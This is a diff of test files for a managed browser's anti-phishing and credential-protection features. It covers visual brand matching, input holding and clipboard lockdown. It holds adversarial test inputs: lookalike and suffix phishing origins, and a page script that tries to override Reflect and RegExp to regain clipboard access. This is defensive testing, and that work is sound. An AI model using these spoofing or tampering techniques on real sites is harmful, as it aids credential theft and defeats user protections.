assert.throws(()=>decodePNG(Buffer.concat([image(),Buffer.from('trailing-data')])));
|
||||
});
|
||||
@@ -0,0 +1,60 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import vm from 'node:vm';
|
||||
import {createRequire} from 'node:module';
|
||||
const {createVisualPhishing,describeScript}=createRequire(import.meta.url)('../apps/browser/visual-phishing.cjs');
|
||||
function fixture(overrides={}){
|
||||
let url='https://evil.test/login';const events=[],blocks=[];
|
||||
const reference={hash:'0123456789abcdef',algorithm:'phash-dct32-v1',scope:'viewport',viewport:{width:1320,height:900}};
|
||||
const policy={version:1,expiresAt:new Date(Date.now()+60000).toISOString(),security:{visualPhishing:{enabled:true,failClosed:true,brands:[{id:'company-login',label:'Company',allowedOrigins:['https://company.test'],requiredText:['Company'],maxDistance:6,references:[reference]}]}}};
|
||||
const context={ready:true,policy,webContents:{getURL:()=>url},navigationId:1};
|
||||
const settings={getContext:()=>({...context,url}),describe:async()=>({hasCredentialInputs:true,visibleText:'Company login'}),capture:async()=>({width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}}),fingerprint:async image=>image.fingerprint,compare:async()=>0,audit:async event=>events.push(event),block:async result=>blocks.push(result),...overrides};
|
||||
return {checker:createVisualPhishing(settings),context,policy,reference,events,blocks,setURL:value=>url=value};
|
||||
}
|
||||
test('strong brand match on credential page blocks and emits metadata-only audit',async()=>{
|
||||
const f=fixture();const r=await f.checker.check();assert.equal(r.decision,'block');assert.equal(r.ruleId,'company-login');assert.equal(f.blocks.length,1);assert.deepEqual(f.events,[{kind:'phishing.block',ruleId:'company-login',host:'evil.test'}]);assert.equal(JSON.stringify(f.events).includes('012345'),false);
|
||||
});
|
||||
test('exact HTTPS own-brand origin exempts only that brand',async()=>{
|
||||
const f=fixture();f.setURL('https://company.test/login');assert.equal((await f.checker.check()).decision,'allow');
|
||||
f.policy.security.visualPhishing.brands.push({...f.policy.security.visualPhishing.brands[0],id:'other-brand',allowedOrigins:['https://other.test']});assert.equal((await f.checker.check()).ruleId,'other-brand');
|
||||
});
|
||||
test('HTTP, suffix and lookalike origins cannot reuse trusted exemption',async()=>{
|
||||
for(const url of ['http://company.test/login','https://company.test.evil.test/login','https://c0mpany.test/login']){const f=fixture();f.setURL(url);assert.equal((await f.checker.check()).decision,'block');}
|
||||
});
|
||||
test('unrelated text, absent credentials and dissimilar image are allowed',async()=>{
|
||||
for(const settings of [{describe:async()=>({hasCredentialInputs:true,visibleText:'Different unrelated sign in'})},{describe:async()=>({hasCredentialInputs:false,visibleText:'Company brochure'})},{compare:async()=>40}]){const f=fixture(settings);assert.equal((await f.checker.check()).decision,'allow');assert.equal(f.blocks.length,0);}
|
||||
});
|
||||
test('changed URL, policy identity or document epoch discards asynchronous match',async()=>{
|
||||
for(const change of ['url','policy','document','reset']){const f=fixture({capture:async()=>{if(change==='url')f.setURL('https://another.test/');if(change==='policy')f.context.policy={...f.policy};if(change==='document')f.context.navigationId++;if(change==='reset')f.checker.reset();return{width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}};}});const r=await f.checker.check();assert.equal(r.decision,'unknown');assert.equal(r.reason,'stale-context');assert.equal(f.blocks.length,0);}
|
||||
});
|
||||
test('real capture failure on credential page fails closed; unsupported dimensions remain unknown',async()=>{
|
||||
const failed=fixture({capture:async()=>{throw Error('Screenshot unavailable');}});assert.equal((await failed.checker.check()).decision,'block');
|
||||
const mismatch=fixture({capture:async()=>({width:800,height:600,fingerprint:{hash:'0123456789abcdef',usable:true}})});assert.equal((await mismatch.checker.check()).decision,'unknown');assert.equal(mismatch.blocks.length,0);
|
||||
const unusable=fixture({fingerprint:async()=>({usable:false,hash:'0123456789abcdef'})});assert.equal((await unusable.checker.check()).decision,'unknown');
|
||||
});
|
||||
test('description failure fails closed and expired policy never produces approval',async()=>{
|
||||
const failed=fixture({describe:async()=>{throw Error('Unavailable');}});const verdict=await failed.checker.check();assert.equal(verdict.decision,'block');assert.equal(verdict.reason,'visual-description-unavailable');
|
||||
const expired=fixture();expired.policy.expiresAt=new Date(Date.now()-1).toISOString();assert.equal((await expired.checker.check()).reason,'policy-expired');
|
||||
const stale=fixture({capture:async()=>{stale.policy.expiresAt=new Date(Date.now()-1).toISOString();return{width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}};}});assert.equal((await stale.checker.check()).reason,'stale-context');assert.equal(stale.blocks.length,0);
|
||||
});
|
||||
test('login-form references require aspect match and rectangle',async()=>{
|
||||
const f=fixture({describe:async()=>({hasCredentialInputs:true,visibleText:'Company',formRect:{x:0,y:0,width:600,height:300}}),capture:async()=>({width:600,height:300,fingerprint:{hash:'0123456789abcdef',usable:true}})});f.reference.scope='login-form';f.reference.viewport={width:300,height:150};assert.equal((await f.checker.check()).decision,'block');
|
||||
});
|
||||
test('description script sees email-only login without collecting values',()=>{
|
||||
const body={parentElement:null};const input={type:'email',name:'email',id:'email',value:'must-never-read',disabled:false,parentElement:body,getAttribute:()=>'',getClientRects:()=>[{}],closest:()=>null,getBoundingClientRect:()=>({x:10,y:10,right:310,bottom:50})};const textElement={parentElement:body,getAttribute:()=>'',getClientRects:()=>[{}],closest:()=>null};let visited=false;
|
||||
Object.defineProperty(input,'value',{get(){throw Error('Field value access forbidden');}});
|
||||
const document={body,querySelectorAll:()=>[input],createTreeWalker:()=>({nextNode:()=>visited?null:(visited=true,{parentElement:textElement,textContent:'Company'})})};
|
||||
const sandbox={location:{href:'https://evil.test/login'},document,innerWidth:1320,innerHeight:900,NodeFilter:{SHOW_TEXT:4},getComputedStyle:()=>({display:'block',visibility:'visible',opacity:'1'})};
|
||||
const result=vm.runInNewContext(describeScript('https://evil.test/login'),sandbox);assert.equal(result.hasCredentialInputs,true);assert.equal(result.visibleText,'Company');assert.equal(JSON.stringify(result).includes('must-never'),false);
|
||||
sandbox.location.href='https://replacement.test';assert.throws(()=>vm.runInNewContext(describeScript('https://evil.test/login'),sandbox),/Document changed/);
|
||||
});
|
||||
test('concurrent checks serialize capture and forced checks take fresh snapshots',async()=>{
|
||||
let active=0,max=0;const f=fixture({capture:async()=>{active++;max=Math.max(max,active);await new Promise(r=>setTimeout(r,10));active--;return{width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}};}});
|
||||
await Promise.all([f.checker.check(),f.checker.check({force:true}),f.checker.check({force:true})]);assert.equal(max,1);
|
||||
});
|
||||
test('multiple references reuse one capture and fingerprint while validating each reference viewport',async()=>{
|
||||
let captures=0,fingerprints=0,comparisons=0;
|
||||
const f=fixture({capture:async()=>{captures++;return{width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}};},fingerprint:async image=>{fingerprints++;return image.fingerprint;},compare:async()=>{comparisons++;return 40;}});
|
||||
f.policy.security.visualPhishing.brands[0].references.push({...f.reference,hash:'aaaaaaaaaaaaaaaa'},{...f.reference,hash:'bbbbbbbbbbbbbbbb',viewport:{width:800,height:600}});
|
||||
assert.equal((await f.checker.check()).decision,'unknown');assert.equal(captures,1);assert.equal(fingerprints,1);assert.equal(comparisons,2);
|
||||
});
|
||||
@@ -0,0 +1,112 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import fs from 'node:fs';
|
||||
import vm from 'node:vm';
|
||||
|
||||
const source=fs.readFileSync(new URL('../apps/browser/site-preload.cjs',import.meta.url),'utf8');
|
||||
function harness(enabled,options={}){
|
||||
const listeners=new Map(),ipcListeners=new Map(),timers=[],requests=[],sent=[],observers=[];
|
||||
const window={stop:()=>{},addEventListener:(name,handler,capture)=>{assert.equal(capture===true||capture===undefined,true);listeners.set(name,[...(listeners.get(name)||[]),handler]);}};
|
||||
const ipcRenderer={on:(channel,callback)=>ipcListeners.set(channel,callback),sendSync:channel=>{assert.equal(channel,'managed:visual-policy');return {enabled};},send:(channel,payload)=>sent.push({channel,payload}),invoke:(channel,payload)=>new Promise(resolve=>requests.push({channel,payload,resolve}))};
|
||||
const location={href:options.url||'https://example.test/login'};
|
||||
class MutationObserver{constructor(callback){this.callback=callback;observers.push(this);}observe(_element,settings){this.settings=settings;}}
|
||||
class Document{}Document.prototype.execCommand=()=>true;
|
||||
const context={require:name=>{assert.equal(name,'electron');return {ipcRenderer,contextBridge:{executeInMainWorld:({func})=>func()}};},Document,DOMException,process:{sandboxed:true,contextIsolated:true,isMainFrame:true},window,location,document:{body:{innerText:'Public page content'},documentElement:{}},crypto:options.crypto||{randomUUID:()=> 'opaque-document-fixture-token'},MutationObserver,setTimeout:(callback,delay)=>{timers.push({callback,delay});return timers.length;}};
|
||||
vm.runInNewContext(source,context,{filename:'site-preload.cjs'});
|
||||
function dispatch(name,credential=true,inputType){const result={prevented:false,stopped:false};const target={closest:()=>credential?target:null};for(const listener of listeners.get(name)||[]){listener({target,inputType,preventDefault:()=>result.prevented=true,stopImmediatePropagation:()=>result.stopped=true});if(result.stopped)break;}return result;}
|
||||
function domReady(){for(const listener of listeners.get('DOMContentLoaded')||[])listener();}
|
||||
function mutate(attribute){assert.ok(observers.length);for(const observer of observers){if(!attribute||observer.settings.attributes&&(!observer.settings.attributeFilter||observer.settings.attributeFilter.includes(attribute)))observer.callback([]);}}
|
||||
function configure(nextEnabled,token){assert.ok(ipcListeners.has('managed:visual-config'));ipcListeners.get('managed:visual-config')({}, {enabled:nextEnabled,token});}
|
||||
function timer(delay){const index=timers.findIndex(t=>t.delay===delay);if(index<0)return false;const item=timers.splice(index,1)[0];item.callback();return true;}
|
||||
return {context,location,requests,sent,timers,dispatch,domReady,mutate,timer,configure};
|
||||
}
|
||||
const settle=()=>new Promise(resolve=>setImmediate(resolve));
|
||||
|
||||
test('disabled visual policy preserves input and submits without requesting visual approval',()=>{
|
||||
const f=harness(false);f.domReady();
|
||||
for(const event of ['beforeinput','submit','pointerdown'])assert.deepEqual(f.dispatch(event),{prevented:false,stopped:false});
|
||||
assert.equal(f.timer(150),false);assert.equal(f.requests.length,0);
|
||||
assert.equal(f.timer(350),true);assert.equal(f.sent[0].channel,'managed:page-content');
|
||||
});
|
||||
|
||||
test('enabled credential input, paste and submit are held until current document approval',async()=>{
|
||||
const f=harness(true);f.domReady();
|
||||
for(const event of ['beforeinput','paste','submit'])assert.deepEqual(f.dispatch(event),{prevented:true,stopped:true});
|
||||
assert.equal(f.timer(150),true);assert.equal(f.requests.length,1);
|
||||
const request=f.requests[0];assert.equal(request.channel,'managed:visual-check');assert.equal(request.payload.url,f.location.href);assert.ok(request.payload.revision>0);
|
||||
request.resolve({decision:'allow'});await settle();
|
||||
for(const event of ['beforeinput','submit'])assert.deepEqual(f.dispatch(event),{prevented:false,stopped:false});
|
||||
});
|
||||
|
||||
test('DOM mutation invalidates approval synchronously before a new inspection completes',async()=>{
|
||||
const f=harness(true);f.domReady();f.timer(150);f.requests[0].resolve({decision:'allow'});await settle();
|
||||
assert.equal(f.dispatch('beforeinput').prevented,false);
|
||||
f.mutate();
|
||||
assert.equal(f.dispatch('beforeinput').prevented,true,'A changed credential form must not receive input during inspection');
|
||||
assert.equal(f.dispatch('submit').prevented,true);
|
||||
});
|
||||
|
||||
test('stale successful inspection cannot release a form changed while inspection was pending',async()=>{
|
||||
const f=harness(true);f.domReady();f.timer(150);const first=f.requests[0];
|
||||
f.mutate();f.timer(150);const second=f.requests[1];assert.ok(second.payload.revision>first.payload.revision);
|
||||
first.resolve({decision:'allow'});await settle();
|
||||
assert.equal(f.dispatch('beforeinput').prevented,true,'An allow result for the previous form revision must be discarded');
|
||||
// The held paste itself invalidates the outstanding second revision as another attempt.
|
||||
second.resolve({decision:'allow'});await settle();assert.equal(f.dispatch('submit').prevented,true);
|
||||
f.timer(150);const latest=f.requests.at(-1);latest.resolve({decision:'allow'});await settle();
|
||||
assert.equal(f.dispatch('beforeinput').prevented,false);
|
||||
});
|
||||
|
||||
test('changed document URL discards an outstanding allow result and exposes no page bridge',async()=>{
|
||||
const f=harness(true);f.domReady();f.timer(150);f.location.href='https://replacement.test/login';f.requests[0].resolve({decision:'allow'});await settle();
|
||||
assert.equal(f.dispatch('beforeinput').prevented,true);
|
||||
assert.equal(f.context.window.safetynet,undefined);assert.equal(f.context.window.ipcRenderer,undefined);
|
||||
assert.ok(f.requests.every(request=>Object.keys(request.payload).sort().join(',')==='revision,token,url'));
|
||||
});
|
||||
test('live policy enable holds input immediately and acknowledges before asynchronous inspection',async()=>{
|
||||
const f=harness(false);f.domReady();assert.equal(f.dispatch('beforeinput').prevented,false);
|
||||
f.configure(true,'configuration-1');assert.equal(f.dispatch('beforeinput').prevented,true);
|
||||
assert.ok(f.sent.some(item=>item.channel==='managed:visual-configured'&&item.payload==='configuration-1'));
|
||||
f.timer(150);f.requests.at(-1).resolve({decision:'allow'});await settle();assert.equal(f.dispatch('beforeinput').prevented,false);
|
||||
f.configure(false,'configuration-2');assert.equal(f.dispatch('beforeinput').prevented,false);assert.equal(f.dispatch('submit').prevented,false);
|
||||
assert.ok(f.sent.some(item=>item.channel==='managed:visual-configured'&&item.payload==='configuration-2'));
|
||||
});
|
||||
test('live disable and re-enable invalidates outstanding old approval',async()=>{
|
||||
const f=harness(true);f.domReady();f.timer(150);const stale=f.requests[0];
|
||||
f.configure(false,'off');assert.equal(f.dispatch('beforeinput').prevented,false);
|
||||
f.configure(true,'on');stale.resolve({decision:'allow'});await settle();assert.equal(f.dispatch('beforeinput').prevented,true);
|
||||
});
|
||||
test('credential marker attributes invalidate approval even without visual text changes',async()=>{
|
||||
for(const attribute of ['name','id','autocomplete','aria-hidden','disabled']){
|
||||
const f=harness(true);f.domReady();f.timer(150);f.requests[0].resolve({decision:'allow'});await settle();assert.equal(f.dispatch('beforeinput').prevented,false);
|
||||
f.mutate(attribute);assert.equal(f.dispatch('beforeinput').prevented,true,`${attribute} changed a credential form without changing its visible text`);
|
||||
}
|
||||
});
|
||||
test('legacy clipboard primitive remains frozen and unsupported page transfer events are always denied',()=>{
|
||||
const f=harness(false);const descriptor=Object.getOwnPropertyDescriptor(f.context.Document.prototype,'execCommand');
|
||||
assert.equal(descriptor.configurable,false);assert.equal(descriptor.writable,false);
|
||||
for(const operation of ['copy','cut','paste','PasteAndMatchStyle','PasteGlobalSelection'])assert.equal(descriptor.value(operation),false);
|
||||
assert.equal(descriptor.value('bold'),true);
|
||||
for(const event of ['copy','cut','paste','dragstart','dragover','drop'])assert.equal(f.dispatch(event).prevented,true);
|
||||
for(const type of ['insertFromPaste','insertFromDrop','deleteByCut'])assert.equal(f.dispatch('beforeinput',true,type).prevented,true);
|
||||
let coerced=false;assert.equal(descriptor.value({toString:()=>{coerced=true;return 'copy';}}),false);assert.equal(coerced,false);
|
||||
for(const operation of ['open','write','writeln']){
|
||||
const replacement=Object.getOwnPropertyDescriptor(f.context.Document.prototype,operation);assert.equal(replacement.configurable,false);assert.equal(replacement.writable,false);
|
||||
assert.throws(()=>replacement.value(),error=>error.name==='SecurityError');
|
||||
}
|
||||
});
|
||||
test('document listener reset and page tampering with Reflect/RegExp cannot restore legacy clipboard commands',()=>{
|
||||
const f=harness(false);
|
||||
// Document.open clears listeners without creating a new JS realm; retain only the frozen primitive.
|
||||
const result=vm.runInNewContext(`(()=>{window.addEventListener=()=>{};Reflect.apply=()=>true;RegExp.prototype.test=()=>false;try{Document.prototype.execCommand=()=>true;}catch{};return {copy:Document.prototype.execCommand('copy'),paste:Document.prototype.execCommand('paste'),bold:Document.prototype.execCommand('bold'),locked:Object.getOwnPropertyDescriptor(Document.prototype,'execCommand').configurable===false};})()`,f.context);
|
||||
assert.equal(result.copy,false);assert.equal(result.paste,false);assert.equal(result.bold,true);assert.equal(result.locked,true);
|
||||
});
|
||||
test('HTTP insecure context without randomUUID still monitors content and uses random document token',()=>{
|
||||
let randomCalls=0;
|
||||
const f=harness(true,{url:'http://proxy-fixture.test/',crypto:{getRandomValues:bytes=>{randomCalls++;for(let i=0;i<bytes.length;i++)bytes[i]=i+1;return bytes;}}});
|
||||
f.domReady();assert.equal(randomCalls,1);assert.equal(f.dispatch('beforeinput').prevented,true);
|
||||
assert.equal(f.timer(350),true);assert.deepEqual(JSON.parse(JSON.stringify(f.sent.find(item=>item.channel==='managed:page-content').payload)),{text:'Public page content'});
|
||||
f.timer(150);assert.match(f.requests[0].payload.token,/^[a-f0-9]{32}$/);assert.equal(f.requests[0].payload.url,'http://proxy-fixture.test/');
|
||||
f.context.document.body.innerText='Changed public page';f.mutate('name');f.timer(350);
|
||||
assert.equal(f.sent.filter(item=>item.channel==='managed:page-content').at(-1).payload.text,'Changed public page');
|
||||
});
|
||||
Reference in new issue
Block a user